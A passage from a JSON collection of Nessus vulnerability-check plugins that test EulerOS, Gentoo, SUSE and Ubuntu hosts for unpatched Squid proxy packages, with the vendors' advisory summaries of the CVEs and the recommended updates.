issue was discovered in Squid 3.x and 4.x through\n 4.8. Due to incorrect input validation, there is a\n heap-based buffer overflow that can result in Denial of\n Service to all clients using the proxy. Severity is\n high due to this vulnerability occurring before normal\n security checks any remote client that can reach the\n proxy port can trivially perform the attack via a\n crafted URI scheme.(CVE-2019-18676)\n\n - An issue was discovered in Squid before 4.12 and 5.x\n before 5.0.3. Due to use of a potentially dangerous\n function, Squid and the default certificate validation\n helper are vulnerable to a Denial of Service when\n opening a TLS connection to an attacker-controlled\n server for HTTPS. This occurs because unrecognized\n error values are mapped to NULL, but later code expects\n that each error value is mapped to a valid error\n string.(CVE-2020-14058)\n\n - An issue was discovered in Squid before 4.9. URN\n response handling in Squid suffers from a heap-based\n buffer overflow. When receiving data from a remote\n server in response to an URN request, Squid fails to\n ensure that the response can fit within the buffer.\n This leads to attacker controlled data overflowing in\n the heap.(CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.9. When\n handling a URN request, a corresponding HTTP request is\n made. This HTTP request doesn't go through the access\n checks that incoming HTTP requests go through. This\n causes all access checks to be bypassed and allows\n access to restricted HTTP servers, e.g., an attacker\n can connect to HTTP servers that only listen on\n localhost.(CVE-2019-12523)\n\n - An issue was discovered in Squid through 4.13 and 5.x\n through 5.0.4. Due to improper input validation, it\n allows a trusted client to perform HTTP Request\n Smuggling and access services otherwise forbidden by\n the security controls. This occurs for certain\n uri_whitespace configuration settings.(CVE-2020-25097)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2021-1852\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?fc7c3ce1\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected squid packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/04/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/04/30\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:squid-migration-script\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(3)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP3\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP3\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"squid-3.5.20-2.2.h13\",\n \"squid-migration-script-3.5.20-2.2.h13\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"3\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T15:40:17", "description": "The remote host is affected by the vulnerability described in GLSA-202003-34 (Squid: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Squid. Please review the CVE identifiers referenced below for details.\n Impact :\n\n A remote attacker, by sending a specially crafted request, could possibly execute arbitrary code with the privileges of the process, obtain sensitive information or cause a Denial of Service condition.\n Workaround :\n\n There is no known workaround at this time.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-03-18T00:00:00", "type": "nessus", "title": "GLSA-202003-34 : Squid: Multiple vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-8449", "CVE-2020-8450", "CVE-2020-8517"], "modified": "2022-05-18T00:00:00", "cpe": ["p-cpe:/a:gentoo:linux:squid", "cpe:/o:gentoo:linux"], "id": "GENTOO_GLSA-202003-34.NASL", "href": "https://www.tenable.com/plugins/nessus/134640", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 202003-34.\n#\n# The advisory text is Copyright (C) 2001-2022 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(134640);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/18\");\n\n script_cve_id(\"CVE-2019-12526\", \"CVE-2019-12528\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2020-8449\", \"CVE-2020-8450\", \"CVE-2020-8517\");\n script_xref(name:\"GLSA\", value:\"202003-34\");\n\n script_name(english:\"GLSA-202003-34 : Squid: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"The remote host is affected by the vulnerability described in GLSA-202003-34\n(Squid: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Squid. Please review\n the CVE identifiers referenced below for details.\n \nImpact :\n\n A remote attacker, by sending a specially crafted request, could\n possibly execute arbitrary code with the privileges of the process,\n obtain sensitive information or cause a Denial of Service condition.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/202003-34\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"All Squid users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=net-proxy/squid-4.10'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8450\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"net-proxy/squid\", unaffected:make_list(\"ge 4.10\"), vulnerable:make_list(\"lt 4.10\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-29T16:12:06", "description": "This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\nCVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in cachemgr.cgi (bsc#1140738).\n\nCVE-2019-12526: Fixed potential remote code execution during URN processing (bsc#1156326).\n\nCVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in URI processing (bsc#1156329).\n\nCVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request processing (bsc#1156328).\n\nCVE-2019-18678: Fixed incorrect message parsing which could have led to HTTP request splitting issue (bsc#1156323).\n\nCVE-2019-18679: Fixed information disclosure when processing HTTP Digest Authentication (bsc#1156324).\n\nOther issues addressesd :\n\n - Fixed DNS failures when peer name was configured with any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nNote that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-11-27T00:00:00", "type": "nessus", "title": "SUSE SLES12 Security Update : squid (SUSE-SU-2019:3067-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-17T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:squid", "p-cpe:/a:novell:suse_linux:squid-debuginfo", "p-cpe:/a:novell:suse_linux:squid-debugsource", "cpe:/o:novell:suse_linux:12"], "id": "SUSE_SU-2019-3067-1.NASL", "href": "https://www.tenable.com/plugins/nessus/131386", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2019:3067-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131386);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/12/17\");\n\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12526\", \"CVE-2019-13345\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n\n script_name(english:\"SUSE SLES12 Security Update : squid (SUSE-SU-2019:3067-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\nCVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in\ncachemgr.cgi (bsc#1140738).\n\nCVE-2019-12526: Fixed potential remote code execution during URN\nprocessing (bsc#1156326).\n\nCVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in\nURI processing (bsc#1156329).\n\nCVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request\nprocessing (bsc#1156328).\n\nCVE-2019-18678: Fixed incorrect message parsing which could have led\nto HTTP request splitting issue (bsc#1156323).\n\nCVE-2019-18679: Fixed information disclosure when processing HTTP\nDigest Authentication (bsc#1156324).\n\nOther issues addressesd :\n\n - Fixed DNS failures when peer name was configured with\n any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1140738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156323\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156324\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156326\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156328\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156329\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12523/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12526/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-13345/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18676/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18677/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18678/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18679/\"\n );\n # https://www.suse.com/support/update/announcement/2019/suse-su-20193067-1/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?b9dbea08\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE Linux Enterprise Server 12-SP5:zypper in -t patch\nSUSE-SLE-SERVER-12-SP5-2019-3067=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12526\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/27\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(5)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP5\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"squid-4.9-4.3.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"squid-debuginfo-4.9-4.3.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"squid-debugsource-4.9-4.3.2\")) flag++;\n\n\nif (flag)\n{\n set_kb_item(name:'www/0/XSS', value:TRUE);\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T16:58:46", "description": "Jeriko One and Kristoffer Danielsson discovered that Squid incorrectly handled certain URN requests. A remote attacker could possibly use this issue to bypass access checks and access restricted servers. This issue was only addressed in Ubuntu 19.04 and Ubuntu 19.10.\n(CVE-2019-12523)\n\nJeriko One discovered that Squid incorrectly handed URN responses. A remote attacker could use this issue to cause Squid to crash, resulting in a denial of service, or possibly execute arbitrary code.\n(CVE-2019-12526)\n\nAlex Rousskov discovered that Squid incorrectly handled certain strings. A remote attacker could possibly use this issue to cause Squid to crash, resulting in a denial of service. This issue only affected Ubuntu 19.04. (CVE-2019-12854)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly handled certain input. A remote attacker could use this issue to cause Squid to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue was only addressed in Ubuntu 19.04 and Ubuntu 19.10. (CVE-2019-18676)\n\nKristoffer Danielsson discovered that Squid incorrectly handled certain messages. This issue could result in traffic being redirected to origins it should not be delivered to. (CVE-2019-18677)\n\nRegis Leroy discovered that Squid incorrectly handled certain HTTP request headers. A remote attacker could use this to smuggle HTTP requests and corrupt caches with arbitrary content. (CVE-2019-18678)\n\nDavid Fifield discovered that Squid incorrectly handled HTTP Digest Authentication. A remote attacker could possibly use this issue to obtain pointer contents and bypass ASLR protections. (CVE-2019-18679).\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-12-05T00:00:00", "type": "nessus", "title": "Ubuntu 16.04 LTS / 18.04 LTS / 19.04 / 19.10 : squid, squid3 vulnerabilities (USN-4213-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-17T00:00:00", "cpe": ["p-cpe:/a:canonical:ubuntu_linux:squid", "p-cpe:/a:canonical:ubuntu_linux:squid3", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/o:canonical:ubuntu_linux:18.04:-:lts", "cpe:/o:canonical:ubuntu_linux:19.04", "cpe:/o:canonical:ubuntu_linux:19.10"], "id": "UBUNTU_USN-4213-1.NASL", "href": "https://www.tenable.com/plugins/nessus/131723", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-4213-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131723);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/12/17\");\n\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12526\", \"CVE-2019-12854\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n script_xref(name:\"USN\", value:\"4213-1\");\n\n script_name(english:\"Ubuntu 16.04 LTS / 18.04 LTS / 19.04 / 19.10 : squid, squid3 vulnerabilities (USN-4213-1)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Jeriko One and Kristoffer Danielsson discovered that Squid incorrectly\nhandled certain URN requests. A remote attacker could possibly use\nthis issue to bypass access checks and access restricted servers. This\nissue was only addressed in Ubuntu 19.04 and Ubuntu 19.10.\n(CVE-2019-12523)\n\nJeriko One discovered that Squid incorrectly handed URN responses. A\nremote attacker could use this issue to cause Squid to crash,\nresulting in a denial of service, or possibly execute arbitrary code.\n(CVE-2019-12526)\n\nAlex Rousskov discovered that Squid incorrectly handled certain\nstrings. A remote attacker could possibly use this issue to cause\nSquid to crash, resulting in a denial of service. This issue only\naffected Ubuntu 19.04. (CVE-2019-12854)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly\nhandled certain input. A remote attacker could use this issue to cause\nSquid to crash, resulting in a denial of service, or possibly execute\narbitrary code. This issue was only addressed in Ubuntu 19.04 and\nUbuntu 19.10. (CVE-2019-18676)\n\nKristoffer Danielsson discovered that Squid incorrectly handled\ncertain messages. This issue could result in traffic being redirected\nto origins it should not be delivered to. (CVE-2019-18677)\n\nRegis Leroy discovered that Squid incorrectly handled certain HTTP\nrequest headers. A remote attacker could use this to smuggle HTTP\nrequests and corrupt caches with arbitrary content. (CVE-2019-18678)\n\nDavid Fifield discovered that Squid incorrectly handled HTTP Digest\nAuthentication. A remote attacker could possibly use this issue to\nobtain pointer contents and bypass ASLR protections. (CVE-2019-18679).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/4213-1/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected squid and / or squid3 packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12526\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:squid3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:18.04:-:lts\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:19.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:19.10\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/08/15\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/05\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2019 Canonical, Inc. / NASL script (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(16\\.04|18\\.04|19\\.04|19\\.10)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 16.04 / 18.04 / 19.04 / 19.10\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nflag = 0;\n\nif (ubuntu_check(osver:\"16.04\", pkgname:\"squid3\", pkgver:\"3.5.12-1ubuntu7.9\")) flag++;\nif (ubuntu_check(osver:\"18.04\", pkgname:\"squid3\", pkgver:\"3.5.27-1ubuntu1.4\")) flag++;\nif (ubuntu_check(osver:\"19.04\", pkgname:\"squid\", pkgver:\"4.4-1ubuntu2.3\")) flag++;\nif (ubuntu_check(osver:\"19.10\", pkgname:\"squid\", pkgver:\"4.8-1ubuntu2.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else 